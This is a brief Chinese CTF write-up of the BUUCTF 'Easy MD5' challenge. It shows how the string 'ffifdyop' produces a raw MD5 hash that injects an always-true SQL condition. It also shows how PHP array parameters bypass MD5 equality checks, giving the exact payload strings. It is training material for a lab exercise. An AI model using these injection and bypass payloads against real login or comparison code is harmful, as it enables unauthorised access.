buuctf Easy MD5
一开始题目只出现一个查询窗口
并且各种特殊的闭合字符串都无异常
抓包过后看到提示
Hint: select * from ‘admin’ where password=md5($pass,true)
md5()
将一个字符串进行MD5加密计算
第一个参数string为可选参数,表示待处理的字符串,
第二个参数bool为可选参数,表示为需要的布尔型数值,默认为FALSE;FALSE表示返回32位的十六进制字符串,TRUE表示返回16位的二进制数。
md5()参数漏洞
发现找到ffifdyop字符串会造成漏洞。在本地运行了一下,
<?php
header("Content-Type: text/html; charset=utf-8");
$a='ffifdyop';
echo md5($a,true);
?>
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
输出的是or’6xxxxxx
在数据库语句里就构成了select * from ‘admin’ where password= ''or’6xxxxxx ’ 相当于 password= ‘’ or 1 变成永真式
接着进入levels91.php
源码提示
数组绕过
levels91.php?a[]=1&b[]=2
又进入levell14.php页面
源码如下
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
postMD5数组绕过
param1[]=1¶m2[]=2